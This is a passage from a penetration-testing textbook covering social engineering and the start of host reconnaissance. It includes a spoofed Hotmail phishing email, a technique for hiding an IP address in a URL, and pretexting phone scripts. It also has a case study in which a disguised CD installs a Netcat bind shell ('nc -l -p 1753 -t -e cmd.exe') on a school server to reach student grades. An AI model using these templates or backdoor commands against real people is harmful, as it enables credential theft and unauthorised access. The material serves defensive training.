simple password-cracking tool would take care of that.)\nWithin minutes of running a security scanner, I discovered all the devices in both the data \ncenter and in remote locations, in addition to all devices with either default or no passwords. \nAfter I was able to log on to one server with a simple password, I could connect to all other \nservers. You can imagine the shock of the IT manager when she discovered my ability to \naccess the company information with such ease.\nAnother example of third-party impersonation is to act as if you are with a trade magazine \nthat is doing a review on the company product. Most employees are eager to learn that they \nmight be quoted in a magazine. Often, in their eagerness, they give away free products and \nreveal inside information that should not otherwise be shared. This is why the public \nrelations staff should always be present during an interview and sample products should be \ngiven only after the identity of the interviewer has been verified.\nYou might be surprised to discover just how much information an IT administrator is \nwilling to give when he thinks he is being interviewed about his data security:\nPenTester: So far I am impressed with the steps you have taken to secure your \ninfrastructure. (Flattery is the first step to opening the door for more information.)\nVictimUser: Thank you. Here at XYZ Company, we take security seriously.\nPenTester: I can tell. Now, does your company enforce any type of security policies?\nVictimUser: Oh, of course. We have an acceptable use Internet policy and a password \npolicy for all users to sign when they first get employed with us.\n" }, { "page_number": 91, "text": "64\nChapter 4: Performing Social Engineering\nPenTester: Tell me more; this is interesting.\nVictimUser: Well, our password policy, for example, requires all users to create \npasswords that are at least eight characters long and contain both letters and numbers. \nThey are required to change it every three months.\nPenTester: Fascinating. Now, I have heard stories that when companies enforce these \ntypes of policies, users might write their passwords on notes and place them under \ntheir keyboards. Do you have any problem with that in your company?\nVictimUser: (laughing) Oh, yes, all the time. We wish we could stop it, but I bet 50 \npercent of our users have their passwords written down somewhere on their desk.\nThis short interview revealed that the easiest way to gain access into the company network \nwould be to look for passwords around the desk of a user. You could enter into the building \nlate in the day and ask to use the restroom. After closing time (and before the cleaning crew \narrive), you could exit the restroom and walk around the office while looking at desks for \npasswords to gain access.\nNOTE\nA few years ago, I was asked to assess the security of a real-estate company while the \nnetwork administrator was away. After going up to the administrator desk, I looked around \nand saw pictures of horses. I figured she must own some horses and casually remarked to \nthe employee in the next cubicle, “Wow, these horses are gorgeous! Are they hers?” After \nthe employee responded affirmatively, I asked, “What are their names?” Sure enough, the \npassword used by the network administrator was the name of one of her horses.\nE-Mail Impersonation\nAppearing in person and using the telephone are not the only two methods of \nimpersonation. E-mail is also a viable means of extracting information from unsuspecting \npeople. \nIt is easy to send a spoofed e-mail with the sender address being whatever you want it to \nbe, as demonstrated in the following example: \nFrom: Visa Credit credit@visacredit.com\nTo: xxxx@hotmail.com\nDate: Wed, July 5th, 2005 04:11:03 -0500\nSubject: Visa Credit Check\nReply-To: Visa Credit Service credit@visacredit.com\nReceived: from mx.chi.a.com (mx.wash.a.com[10.1.2.3])\n by mailserver1.wash.a.com with SMTP id A93AABVQ35A\n for xxxx@hotmail.com (sender thief@hackmynetwork.com);\n Wed, July 5th, 2005 03:09:01 -0500 (EST)\nX-Mailer: Microsoft Outlook Express 6.00.2800.1158\n" }, { "page_number": 92, "text": "E-Mail Impersonation\n65\nMIME-Version: 1.0\nContent-Type: text/html; charset=iso-8859-1\nContent-Transfer-Encoding: 8bit\nX-Priority: 3 (Normal)\nX-MAIL-INFO: 4316792387897d34b9877\nX-ContentStamp: 2:3:1818012451\nReturn-Path: thief@hackmynetwork.com\nMessage-ID: < A93AABVQ35A@mx.chi.a.com>\nThe best way to explain why spoofed e-mails are important to use in testing is to show an \nexample of how they can be used maliciously. Start by creating an e-mail with a spoofed e-\nmail header. Included within this e-mail is a message that says the following:\nImportance: HIGH\nWe hope you are enjoying Microsoft Hotmail services. Due to recent security concerns, \nwe are upgrading all of our servers using a new authentication mechanism. This will \nrequire all users to change their passwords. The new authentication mechanism will \ntake place December 1, 2005. All subscribers who have not changed their passwords \nusing the hyperlink below will not be able to access Hotmail services.\n1. You will need to change your e-mail password by May 31, 2005. To do so, please \nlog in at this URL: http://www.microsoft.com/passport/hotmail/login.asp@333868852/\nlogin.asp and change your password under PASSWORD. \n2. Please allow at least 5-6 minutes for your account to register the password \nupdate.\n3. If you face any login problems due to this password change, please try the process \nagain later.\nWe apologize for any inconvenience this may have caused. We hope you understand that \nwe are making this change for your benefit and that it is part of our continuous \nefforts to improve Microsoft Hotmail services. \nSincerely,\nBob Smith\nExecutive Director of Hotmail Security\nMicrosoft Hotmail Support\nhttp://www.microsoft.com\nAfter the e-mail recipient clicks the link contained in the e-mail, he is directed to the \nwebsite shown in Figure 4-2. The recipient then enters his logon name and password, but \ninstead of sending that information to Microsoft, the information is e-mailed to you.\nIt works like this:\nFirst, use an e-mail spoofer program to create a bogus e-mail. Send the e-mail to the \nrecipient with an official-sounding message like the one listed in the previous example. Be \nsure to make up an e-mail signature that sounds authentic. Simply signing the preceding \nmessage as Bob Smith would probably cause many to be suspicious of the e-mail. Signing \nit with a title, company name, and hyperlink makes it sound more official. \n" }, { "page_number": 93, "text": "66\nChapter 4: Performing Social Engineering\nFigure 4-2\nWebsite to Extract Password Information\nNext, include in the link a base-10 encoded URL that redirects the user to your website. In \nthe preceding example, the URL is http://www.microsoft.com/passport/hotmail/\nlogin.asp@333868852/login.asp. The base-10 encoded link is contained after the @ \nsymbol. When you use an @ symbol, everything contained before it is ignored. In this \nexample, then, the initial part of the link is an authentic link to the Microsoft Hotmail \nservice, but the @ symbol causes the web browser to ignore it and be sent to the real URL \nof 333868852/login.asp. To create an encoded URL, begin with the IP address. In this \nexample, the recipient is sent to the website located at IP address 19.230.111.52. To encode \nthis IP address, do the following:\n1 Take the first octet and multiply it by 2563, or 16,777,216. \n19 * 16,777,216 = 318,767,104.\n2 Take the second octet and multiply it by 2562, or 65,536. \n230 * 65,536 = 15,073,280. \n3 Take the third octet and multiply it by 256. \n111 * 256 = 28,416.\n4 Take all three numbers and add them to the last octet.\n" }, { "page_number": 94, "text": "E-Mail Impersonation\n67\n318,767,104 + 15,073,280 + 28,416 + 52 = 333,868,852.\nThis total becomes the base-10 encoded URL of http://333868852. So instead of going to \nthe Microsoft website, the recipient is sent to http://333868852/login.asp. Now create a web \npage that appears just like the one on the real website. You can download the original website \ncontents using web crawler software like WinHTTrack Website Copier. (See Figure 4-3.) \nModify the site source code so that the Submit button sends the form contents to a location \non your web server or is e-mailed to your account. \nAlternatively, you can register a site with a similar sounding title. For example, you can \nsend users to http://WWW.YAH00.COM. At first glance, this looks like the website \nmanaged by Yahoo. Giving it a closer look, however, you see that it is using zeroes in the \nname and is not the popular Yahoo web portal.\nThis process of sending e-mails that ask recipients to go to spoofed websites is called \nphishing. According to a 2004 Internet Identity survey (http://www.internetidentity.com/), \nten percent of all e-commerce sites have “brand spoofing” websites that can be used by \nsocial engineers who are doing phishing scams. \nPhishing is difficult to protect against. Most of the time phishing scams are sent to home \ncustomers, not corporate accounts. Unfortunately, even though the original company is not \nresponsible for the scam, it does cause bad publicity and can result in fewer customers. The \nbest defense for a website is to post warnings of such scams on the company website to \neducate customers of their existence. \nA second type of e-mail social engineering attack is to send malware attachments. Malware \nis malicious software such as viruses or Trojans. The e-mail subject line should contain \nsomething that catches the attention of the recipient, such as, “I missed you,” or “Check this \nout.” In the past, viruses have been sent containing such messages as “I love you” or “Naked \npicture of Anna Kournikova attached.” The recipient then launches the attachment, which \nspreads the virus or installs the Trojan horse.\nNOTE\nA Trojan horse program is a small malicious software application that comes disguised as \nsomething useful. An example is the BoSniffer program, which operated under the pretext \nof security scanning software. BoSniffer advertised that it would scan a system for the Back \nOrifice 2000 software, which is used by malicious hackers to gain complete access to a \nsystem undetected. Although the BoSniffer program seemed legitimate, if it did not find \nBack Orifice installed, it would install it discretely and announce it to the Internet Relay \nChat (IRC) channel #BO_OWNED. The name “Trojan horse” comes from the story of the \nTrojan War, where the Greeks were able to conquer the protected city of Troy by hiding \nthemselves in a giant horse that was offered as a gift to the king of Troy. \n" }, { "page_number": 95, "text": "68\nChapter 4: Performing Social Engineering\nFigure 4-3\nWinHTTrack Website Copier\nOne popular virus, called the NakedWife virus, was propogated with the e-mail subject line \nreading “NakedWife” and the body text reading, “My wife never look [sic] like that :-).” \nUpon the recipient opening the attachment, a virus would be installed that would begin \ndeleting files on the hard drive of the recipient. Then it would send itself to contacts in the \nOutlook Address Book. This, in turn, would make it look like the recipient of the virus was \nthe sender so that when the next person received the e-mail, he would see it coming from \nsomeone he knew, such as a friend or business contact.\nAnother scam is to inform someone that he has won a prize. Although this can be done via \ne-mail, many are skeptical of these types of e-mail messages. Instead, if you send the \nmessage through postal mail, using letterhead stationary, most people would believe it. \nInclude in the message a website or e-mail address that the recipient needs to contact to \nclaim the prize. State in the message that all the person has to do to receive this prize is \nprovide you with his name, address, and credit card number to pay for shipping. \nPenetration testers can be hired as part of an employee awareness program. By sending \nphishing e-mails or other types of scam messages, they can assess if the employees of an \norganization are aware of such tactics and how they are responding to them.\n" }, { "page_number": 96, "text": "Customer Impersonation\n69\nEnd User Impersonation\nIf you are able to get inside a company building, you might try impersonating an end user \ncalling the help desk. Begin by finding an unused workstation. When it boots up, it usually \nprovides you with the username of the last person who used it. Next, type some bogus \npasswords multiple times into the password prompt. This normally locks the account and \nrequires it to be unlocked by a systems administrator. \nCall the help desk and act as if you are that user. Tell the IT person that you forgot your \npassword and you have locked your account out of the network. He then unlocks your \naccount and provides you with a new password. Now you can log on to the network as that \nuser. You might be amazed at how often this trick works. \nCustomer Impersonation\nIf there ever is a place that needs social engineering testing, it is a customer service center. \nCustomer service representatives have access to account numbers, credit card numbers, \nand, in the United States, social security numbers. Imagine this scenario of a penetration \ntester calling up a credit card customer service center:\nPenTester: Yes, I am calling to check the balance on my card.\nVictimUser: Sure, what is your account number?\nPenTester: I am sorry, but I do not have that handy. I have my address, though. (You \ncan discover this easily through the phone book.)\nVictimUser: Without your account number, I cannot look up your account \ninformation.\nPenTester: Please? It is my fifth wedding anniversary, and my wife is in the hospital. \nI was hoping to go after work to buy her something special, but I am not sure we have \nenough money available in our account. Could you please just check what our balance is?\nVictimUser: Okay. What is your address?\nAfter the address is given and the support representative tells the balance, the conversation \ncontinues:\nPenTester: You know what? I think I might order something online and have it \ndelivered today as a surprise. Oh, but I do not have my account number near me right \nnow. Could you read that off to me so I have it?\nVictimUser: Sure, it is…\nMost of your larger credit card companies would not fall for this. One of the reasons why \nthey do not fall for this simple trick is because they hire penetration testers to act as social \nengineers to test their support representatives and enforce strict penalties—if not \n" }, { "page_number": 97, "text": "70\nChapter 4: Performing Social Engineering\ntermination—against any employees who give out customer information without verifying \nthe identity of the caller.\nBecause of this, it is often easier to appear as a caller within the company. Sometimes this \nis as easy as calling one department and then transferring to another so that the call appears \nto have originated inside. Some social engineers arrive onsite and attempt to connect into \nthe telephone line with a wiretap, which also makes the call appear from the inside. \nEmployees are more trusting of fellow employees, and if they see that the call originated \ninside the company, they might give out customer information that they would not \notherwise disseminate. \nCorporations that utilize customer service centers should have strict policies never to give \nout customer information without identify verification, and then only limited information \nshould be offered. They should have a similar policy for the exchange of information within \nthe company.\nReverse Social Engineering\nReverse engineering is slightly more complicated than the previous examples, but it is \neffective nonetheless. Reverse social engineering (RSE) is composed of three steps: \nStep 1\nSabotage\nStep 2\nAdvertising\nStep 3\nSupport\nIn reverse engineering, the roles are reversed. Here, instead of calling in for help as in the \nprevious examples, the attacker gets the users to call him for help. You begin by sabotaging \na network, perhaps with a denial-of-service (DoS) attack. Then you advertise to the \ncompany your services as a network security engineer who specializes in securing against \nDoS attacks. After the company employs your services, you begin to offer support and fix \nthe problem, all the while installing backdoor applications that allow you to gain access into \nthe network at a later date.\nThe best way to be successful at RSE is not to attempt an attack first, but wait until a new \nvirus is propagating across the Internet. Advertise your services as specializing in virus \nprotection and, when you are in the building acting like you are fixing the company \nproblem, create a way for you to enter into the network from the Internet through opening \nup the firewall or installing a backdoor application. \nAs a penetration tester, this becomes especially difficult because after the first test, the IT \nstaff comes to recognize you. You should obtain written permission from management to \nattempt this the next time a new virus is traversing the Internet. \nRegardless of how reverse social engineering is accomplished, the key is that the company \ncalls you. A person has far more trust when he is making the contact and not you.\n" }, { "page_number": 98, "text": "Protecting Against Social Engineering 71\nProtecting Against Social Engineering\nCertain types of companies are more susceptible to these types of attacks than others. They \ninclude the following:\n•\nLarge companies—Smaller companies know their employees and would be aware if \nsomeone from outside their organization were snooping around their building.\n•\nCompanies with remote users—Telecommuters and mobile users are more likely to \nbe tricked because they do not often verify the identity of a caller.\n•\nCompanies that list full contact information on their website, including e-mail \naddress and voice extension—This information is like gold to a social engineer \nbecause it is the first step toward performing a successful scam.\n•\nCompanies that use temporary agencies to hire their receptionists—\nReceptionists are more than people who greet others as they enter a company and \nanswer phones. They are the first line of defense against social engineering. \nCompanies that use temporary agencies are especially at risk because the frequent \nturnover often results in untrained staff members who do not know how to detect \nsocial engineering scams.\n•\nCompanies with call centers—Customer service centers are prime candidates for \nsocial engineers looking to discover customer account information. \nThe best defense against social engineering tricks is training. Train employees in social \nengineering tactics and send regular notices of scams. Offer additional training for \nreceptionists, help desk staff, and customer service representatives because they are more \nlikely to be victims of social engineering attacks. Teach these staff members to verify the \nidentity of callers by asking the caller questions. Unless the social engineer is exceptionally \ngood, after enough questions, he will hang up. In effect, staff should perform social \nengineering of its own kind, where it seeks to discover the identity of a person suspected of \nbeing a social engineer. This will either result in catching social engineers or cause them to \nstop trying. \nTo prevent against dumpster divers discovering sensitive information, establish policies on \nhow information and archives are to be disposed. Usually this is through shredders or \nincinerators. \nNOTE\nUndoubtedly, the most famous social engineer is Kevin Mitnick. He wrote a book with \ncoauthor William Simon titled The Art of Deception: Controlling the Human Element of \nSecurity. It is an excellent resource if you are looking for additional information or \nexamples on social engineering. \n" }, { "page_number": 99, "text": "72\nChapter 4: Performing Social Engineering\nCase Study\nIn this case study, a penetration tester named Jimmy is hired to perform social engineering \nagainst a public elementary school. The goal is to gain access to the school systems to \nchange student grades.\nThe first step is to find out what type of grading software this school uses. Jimmy begins by \ndoing research on the Internet to find out common grading software. He discovers products \nlike Class Action Gradebook, AutoGrade, Grade Genie, ThinkWave, and Next 5 Grading \nsoftware. Jimmy also browses educational message boards like the one at \nfamilyeducation.com that discuss the use of technology in schools. Exploring the area, \nJimmy finds out about a nearby elementary school named Washington Elementary. This \nknowledge helps Jimmy sound well-informed when making phone calls.\nJimmy calls the school and asks to speak to the person in charge of technology. He is \nconnected with a gentleman named Chris. The conversation goes as follows:\nJimmy: Hello, Chris? My name is Jimmy, and I am over at Washington Elementary. I \njust got assigned responsibility over our technology over here, but, to be honest, I do \nnot know much about technology, so I was wondering if you could help me.\nAt this point Jimmy has established the need. Because people generally like to help others, \nJimmy knows that Chris would probably be happy to help.\nChris: Hi, Jimmy. So you are over at Washington, huh? What happened to Kathy? I \nthought she was in charge of technology over there.\nJimmy: Yeah, she still oversees the management, but now they are expanding her role. \nI work directly under her. She is a great person to work for.\nAlthough it appears as if Jimmy might have gotten caught, he plays it off by saying Kathy \nhas been promoted. Jimmy also appeals to Chris by saying something positive about Kathy \nto make the conversation lighthearted.\nJimmy: Anyway, Kathy has asked me to come up with some new grading software. I \nhave been looking at Gradebook, AutoGrade, and Grade Genie, but I am not sure \nwhich is the most flexible. Which one do you guys use?\nJimmy demonstrated his knowledge of grading software to remove any doubts of his \nbackground in education. Jimmy also asks Chris which software is the most flexible \nbecause the message boards he looked at make that the top priority in searching for grading \nsoftware.\nChris: We have been using Gradebook. We are pretty happy with it.\nFrom this point, Jimmy proceeds to ask questions about the software based on similar \nquestions he read on message boards. \n" }, { "page_number": 100, "text": "Case Study\n73\nWhen the conversation is over, Jimmy now knows the type of software used by the school \nand that the name of the person in charge of technology is Chris.\nFor the next phase, Jimmy chooses someone else to contact Chris because he would \nrecognize the voice of Jimmy. Because Chris is a man, and because the best social \nengineering scenarios are with people of the opposite sex, Jimmy asks his coworker Janet \nto make a phone call and act like a support representative at ThinkWave. Janet waits a \ncouple of weeks before contacting Chris so that it does not appear too conspicuous.\nJanet: Hello, Chris? I am Janet with ThinkWave Technology. We were wondering if \nyou would like to participate in our customer improvement program. As an incentive, \nyou receive 20 percent discounts on future upgrades.\nBecause most public schools are struggling for money, it is a safe assumption that Chris \nwould be motivated by saving money.\nChris: Sure. What do I have to do?\nJanet: Well, I will send you reporting software to put on your server. Included with \nthis will be instructions on how to configure it. Any time an error message appears, a \nreport is generated and sent back to us. No personal information is sent, just the type \nof computer, when it happened, and what processes were running when the error \noccurred. By collecting these reports from our customers, we hope to alleviate bugs \nin future software releases.\nChris: Sounds good!\nAfter this conversation, Jimmy downloads the ThinkWave logo off of its website and \ncreates letterhead stationary with the logo. Jimmy looks up the company address and sends \na package to Chris with a return address of ThinkWave. The package contains a CD with \nthe Netcat utility and a letter that says the following:\nDear Chris,\nThank you for your participation in our customer improvement program. We are \ncertain your assistance will help us improve future releases of our product. Included \nwith this letter is a CD that contains reporting software. Any time an error occurs, a \nreport will be generated and sent back to us. I want to assure you that no personal data \nwill be sent. \nTo start up this reporting program, pop the CD into the CD-ROM drive of your server. \nIt should automatically start the setup program. If not, go to the root of the CD-ROM \ndrive and start setup.exe. \nThis reporting software uses TCP port 1753. You will need to open this port on your \nfirewall. Consult your firewall documentation on how to permit this port.\nBy enrolling in this program, you will automatically receive 20 percent off future \nupgrades. We appreciate your continued business and look forward to serving you in \nthe future.\nSincerely,\n" }, { "page_number": 101, "text": "74\nChapter 4: Performing Social Engineering\nJanet Smith\nSupport Representative\nThinkWave\n“Where teachers, students, and parents communicate”\nOn the CD is a setup utility that Jimmy created that installs Netcat onto the root of the server \nhard drive. Netcat is a backdoor Trojan application that provides Jimmy with remote access \ninto the server. The install script starts Netcat with the following parameters:\nC:\\nc –l –p 1753 –t –e cmd.exe\nThe –l tells Netcat to go into listening mode. The –p 1753 tells Netcat to listen on port 1753. \nThe –t tells Netcat to listen for Telnet requests, and –e cmd.exe tells Netcat to open a \ncommand shell.\nAfter a couple of days, Jimmy has Janet call Chris back.\nJanet: This is Janet. I am just calling to see if you had any problems installing our \nreporting software.\nChris: Nope, none at all. \nJanet: Wonderful. That is what we like to hear. Now we just need to know your \nexternal IP address so that when we receive the reports, we know it is coming from \nyou.\nChris: Sure. Let me check. Okay, it should be 200.100.50.25.\nJanet: Thanks! If you ever need anything, do not hesitate to call us. Do you have our \nsupport number?\nChris: Yes, I think I do. \nJimmy had already looked up the phone number so that Janet could offer it to appear helpful \nand more legitimate to Chris.\nNow it is time to attempt access. Jimmy goes to his computer and types the following:\nC:\\nc 200.100.50.25 1753\nThis command attempts to open a connection to the school server on port 1753. Sure \nenough, when Jimmy checks his screen, he has gained access into the server. He executes \na directory listing to make sure:\nC:\\dir\nC:\\>dir\n Volume in drive C has no label.\n Volume Serial Number is 8496-8025\n Directory of C:\\\n06/01/2004 04:11 PM ThinkWave\n04/14/2004 03:11 PM \n" }, { "page_number": 102, "text": "Summary 75\nNow Jimmy has full access to the school server. He begins to navigate to the grading \nsoftware and copies the data to his local computer. Jimmy logs the entire process and \ncaptures screenshots to add to his report later.\nJimmy looks at one of the files named 010521.edt using a text editor and discovers that it \nis the grade file for a student:\n010521 Spelling A\n010521 Mathematics B\n010521 Physical Education A\nWith only a couple of phone calls and a quick command, Jimmy was able to gain access to \nthe school server, where all student grades were located.\nSummary\nNo matter how much security technology your company invests in, it is still vulnerable to \nsocial engineering. Social engineering can be performed by using computers, such as e-\nmails, on the phone, or in person. Social psychology defines seven types of persuasion \ntechniques:\n•\nConformity\n•\nLogic\n•\nNeed based\n•\nAuthority\n•\nReciprocation\n•\nSimilarity\n•\nInformation based\nTo be successful at social engineering, you should possess patience and confidence. Build \ntrust with your target person and have inside knowledge of the target company.\nCommon social engineering tactics include these:\n•\nTech support impersonation\n•\nThird-party impersonation\n•\nE-mail impersonation\n•\nEnd user impersonation\n•\nCustomer impersonation\n•\nReverse social engineering\nThe best defense against social engineering attacks is training. Receptionists, help desk \nstaff, and call center employees should receive additional training because they are more \nlikely than others to be victims of social engineering attacks.\n" }, { "page_number": 103, "text": "Take advantage of the enemy’s unreadiness,\nmake your way by unexpected routes, \nand attack unguarded spots.\n—Sun Tzu\n" }, { "page_number": 104, "text": "C H A P T E R 5\nPerforming Host Reconnaissance\nThe Duke of Wellington, who fought Napoleon at Waterloo, once said, “The most difficult \npart of warfare was seeing what was on the other side of the hill.” Wellington realized that \nsuccess at war meant more than combat; it also involved secrecy and reconnaissance. \nMalicious hackers also value reconnaissance as the first step in an effective attack. For \nthem, seeing what is on the “other side of the hill” is crucial to knowing what type of attack \nto launch. Launching attacks pertaining to UNIX vulnerabilities if the target is running only \nMicrosoft servers makes no sense. A little time spent investigating saves a lot of time during \nthe penetration attack. A malicious hacker might scope out a target for months before \nattempting to breach its security.\nAlthough penetration testers might not always have the luxury of time that a malicious \nhacker might have, they do recognize the value of reconnaissance. The goal of \nreconnaissance is to discover the following information:\n•\nIP addresses of hosts on a target network\n•\nAccessible User Datagram Protocol (UDP) and Transmission Control Protocol (TCP) \nports on target systems\n•\nOperating systems on target systems\nFigure 5-1 illustrates the process of unearthing this information.\nFigure 5-1\nPassive and Active Reconnaissance\nUser\nGroups\nWeb Site\nEdgars\nNewsgroups\nPassive Reconnaissance\nBusiness\nPartners\nDumpster\nDiving\nSocial\nEngineering\nActive Reconnaissance\nNetwork Mapping\nPort\nScans\nDNS\nLookups\nTraceroute\nOS\nFingerprinting\nZone\nTransfers\nPing\nSweeps\n" }, { "page_number": 105, "text": "78\nChapter 5: Performing Host Reconnaissance\nPassive reconnaissance, as the figure shows, involves obtaining information from user \ngroup meetings, websites, Edgars’ database, UUNet newsgroups, business partners, \ndumpster diving, and social engineering. Passive reconnaissance takes patience, but it is the \nmost difficult for the target company to detect. Active reconnaissance, in contrast, involves \nusing technology in a manner that the target might detect. This could be by doing DNS zone \ntransfers and lookups, ping sweeps, traceroutes, port scans, or operating system \nfingerprinting. After you gather the information, you create a network map that diagrams \nthe live hosts, their open UDP and TCP ports (which offers hints to the type of applications \nrunning on the hosts), and their respective operating systems. This information forms the \nskeleton to knowing what type of attacks to launch.\nIn this chapter, you learn how to discover live hosts on your target network using these \nvarious information-gathering techniques. Using port-scanning tools, you also learn how to \ndetermine the operating systems and open TCP and UDP ports on your target hosts. Finally, \nyou learn best practices for the detection and prevention of reconnaissance techniques.\nPassive Host Reconnaissance\nAs previously mentioned, you can use two different reconnaissance methods to discover \ninformation on the hosts in your target network:\n•\nPassive reconnaissance\n•\nActive reconnaissance\nPassive reconnaissance gathers data from open source information. Open source means that \nthe information is freely available to the public. Looking at open source information is \nentirely legal. A company can do little to protect against the release of this information, but \nlater sections of this chapter explore some of the options available. Following are examples \nof open source information:\n•\nA company website\n•\nElectronic Data Gathering, Analysis, and Retrieval (EDGAR) filings (for publicly \ntraded companies)\n•\nNetwork News Transfer Protocol (NNTP) USENET Newsgroups\n•\nUser group meetings\n•\nBusiness partners\n•\nDumpster diving\n•\nSocial engineering\nAll of these, with the exception of dumpster diving and social engineering, are discussed in \nthis chapter. Review Chapter 4, “Performing Social Engineering,” for more information \nabout dumpster diving and social engineering.\n" }, { "page_number": 106, "text": "Passive Host Reconnaissance 79\nA Company Website\nIf you are hired to perform a penetration test against a company’s Internet presence, the first \nplace you should look, obviously, is the company website. Begin by downloading the \nwebsite for offline viewing. This allows you to spend more time analyzing each page \nwithout being detected and provides benefits later when you attempt to penetrate the \nwebsite. In the process of downloading the website, you can also collect orphan pages. \nOrphan pages are web pages that might have been parts of the company website at one time \nbut now have no pages linking to them. While the pages should be removed from the server, \nthey often are not. They can contain useful information for the penetration tester. \nTwo programs that you can use for downloading a website for offline viewing are GNU \nWget (ftp://ftp.gnu.org/pub/gnu/wget/) and Teleport Pro (http://www.tenmax.com). GNU \nWget is free under the GNU license and can be run under Linux or Windows. Teleport Pro \nis commercial software that runs only on Windows. \nWget is a noninteractive command-line-driven website retrieval application that creates \nlocal copies of remote websites. Figure 5-2 shows Wget retrieving the pages off of http://\nwww.hackmynetwork.com. Notice the use of the –r switch, which enables recursive mirroring \nof all pages on the site. You can specify the recursion maximum depth level with the –l switch. \nIf you select the recursive option, Wget follows the hyperlinks and downloads referenced pages. \nWget continues following hyperlinks up to the depth specified in the –l option.\nThe goal of penetration testing is not only to see what access the auditor can gain, but also \nwhat the auditor is able to do without being detected. To minimize the possibility of \ndetection when using Wget, you can use the following switches:\n•\n--random-wait—Because some websites perform statistical analysis of website \nviewing to detect spidering and web retrieval software, you should use the --random-\nwait switch to vary your retrieval between 0 and 2 * wait seconds. Wait refers to the \ntime specified with the wait switch.\n•\n--wait=seconds—This switch specifies the number of seconds between retrievals. You \nshould use this along with the --random-wait switch.\n•\n--cookies=on/off—Cookies enable web servers to keep track of visitors to their \nwebsites. Disabling this switch prevents the server from tracking your viewing of its \nwebsite; however, you might want this enabled for cookie-based exploits discussed \nlater in Chapter 7, “Performing Web-Server Attacks.”\n•\n--H—This switch enables host spanning. Host spanning allows Wget not only to \ncollect web pages on your target site but also enable recursive mirroring of any sites \nreferenced by hyperlinks on the web pages. Be careful with this switch because it then \nmirrors the referenced site and any sites it references. This can consume a significant \namount of hard drive space. \n•\n--D—This is the domain switch that, when used with the --H switch, limits host \nspanning to only the domains listed. \n" }, { "page_number": 107, "text": "80\nChapter 5: Performing Host Reconnaissance\nFigure 5-2\nWget Web Retrieval \nBecause you will probably use the same switches each time you use Wget, you can include \nthe switches in the wget.rc file. By listing the switches in this file, you do not have to type \nthem every time you launch the program. The syntax might vary slightly from the switches \npreviously listed, so be sure to read the documentation before you create the file. \nNOTE\nSome CGI programs can cause problems with Wget. If you notice Wget attempting to \ndownload the same file repeatedly, use the --ignore-length switch. This switch circumvents \nissues caused by CGI scripts that send out bogus content-length headers.\n" }, { "page_number": 108, "text": "Passive Host Reconnaissance 81\nIf command-line switches are not your thing, you can use the Windows-based Teleport Pro \nprogram from Tennyson Maxwell. After you launch Teleport Pro, you are prompted with \nthe New Project Wizard, as shown in Figure 5-3.\nFigure 5-3\nTeleport Pro New Project Wizard\nFor the purpose of offline browsing, select the Create a browsable copy of a website on \nmy hard drive option. After you click Next, you are prompted with the screen shown in \nFigure 5-4. \nOn the Starting Address screen, enter the website you want to store offline. Note that the \naddress is case-sensitive. You can choose how deep you want Teleport Pro to explore. The \ndefault is up to three links, which is sufficient for most retrievals. On the next screen \n(Project Properties), shown in Figure 5-5, you can specify what type of files you want to \nretrieve. Teleport Pro is limited to retrieving the files displayed in the Project Properties \nscreen options. Typically, you would choose the Everything option, but if you are on \nlimited bandwidth and do not care about graphics, you can choose the Just text option. \n" }, { "page_number": 109, "text": "82\nChapter 5: Performing Host Reconnaissance\nFigure 5-4\nTeleport Pro Starting Address Screen\nFigure 5-5\nTeleport Pro Project Properties Screen\n" }, { "page_number": 110, "text": "Passive Host Reconnaissance 83\nYou can also enter an account name and password to access the site if it is needed, but \nbecause you probably do not know any usernames or passwords at this point (you will learn \nhow to discover these in Chapter 7), you should leave this blank. \nAfter you select Next, you are prompted to finish the wizard and select where to save the \nproject file. Having a project file is useful if you want to return and copy the website again. \nWhen you are ready to begin copying the target website, you can either go to the Project \nmenu and choose Start or click the Play button on the toolbar. When the project is finished, \nyou see a screen like that in Figure 5-6, which shows you how many files were requested \nand how many were received. If the number of failed requests is high, you can change \nretrieval parameters with the Project Properties screen under the Project menu.\nFigure 5-6\nTeleport Pro Retrieval Completion Screen\nAfter you have copied down the website, either through Teleport Pro or Wget, you can \nbrowse it offline in your preferred web browser. With respect to host reconnaissance, you \nshould be looking for two things:\n•\nComments in the source code\n•\nContact information\nComments in the source code might reveal what platform the website is running on, which \nis useful later when you attempt to infiltrate the target web server. You can view the source \n" }, { "page_number": 111, "text": "84\nChapter 5: Performing Host Reconnaissance\ncode by opening the web pages in an HTML editor, text editor, or within the browser. In \nInternet Explorer, you can view source code by choosing Source under the View menu. \nFigure 5-7 shows sample source code of a web page. \nFigure 5-7\nSample Web Page Source Code: Comments Reveal HTML Authoring Tool Used\nComments start with the . Figure 5-7 shows that the web \npage was written with Microsoft FrontPage. Exploits are related to Microsoft FrontPage, so \ndocument this information for later. \nFigure 5-8 shows another example of useful comment information. Here, you can see that \nthis site was developed by XYZ Web Design Company. Although at first glance this might \nnot reveal much, it is actually useful information. Many web design companies advertise \nwhat type of platform they develop sites for, such as Microsoft or UNIX. By going to the \nXYZ Web Design website, you might learn that they specialize in ASP, .NET, and \n" }, { "page_number": 112, "text": "Passive Host Reconnaissance 85\nFrontPage. You can conclude with fair certainty that because these specializations are all \nused on Microsoft platforms, the target website is running on Microsoft Internet \nInformation Server (IIS). If XYZ Web Design advertises that its specialty is Perl, CGI, PHP, \nand Python, the target website is most likely running on a UNIX-based platform. Although \nall of these technologies can also run on Windows, they are more common on the UNIX \nplatform.\nFigure 5-8\nSample Web Page Source Code: A Third-Party Web Developer Is Revealed\nAfter you look at the source code, examine any contact information published on the target \nsite. Typically, you can find this by clicking on links labeled About Us or Contact \nInformation. Figure 5-9 shows an example of a page with information about the company \nexecutives.\n" }, { "page_number": 113, "text": "86\nChapter 5: Performing Host Reconnaissance\nFigure 5-9\nSample Contact Information Web Page\nOn this web page, you see executive names along with their phone numbers and e-mail \ninformation. This can be useful for performing social engineering, as discussed in Chapter \n4. The phone numbers in Figure 5-9 are also useful for war dialing techniques, in which you \ndial a range of phone numbers with software such as Tone Loc or THC war dialer and \nattempt to establish remote access connectivity. In the figure, all phone numbers start with \nthe prefix 503 555-1 followed by the extension number. Armed with this knowledge, you \ncan configure your war dialing software to dial all numbers within the range 503 555-1000 \nthrough 503 555-1999 and detect modems used for remote access. \nIf possible, companies should list only 800 numbers on their website connecting the caller \nto a receptionist to minimize the risk of war dialing attacks. If employee information is to \nbe displayed, make sure policies are in place and enforced that protect against social \nengineering attacks.\n" }, { "page_number": 114, "text": "Passive Host Reconnaissance 87\nNOTE\nCompanies that provide technology solutions are particularly at risk because they often \nadvertise their platform of choice on 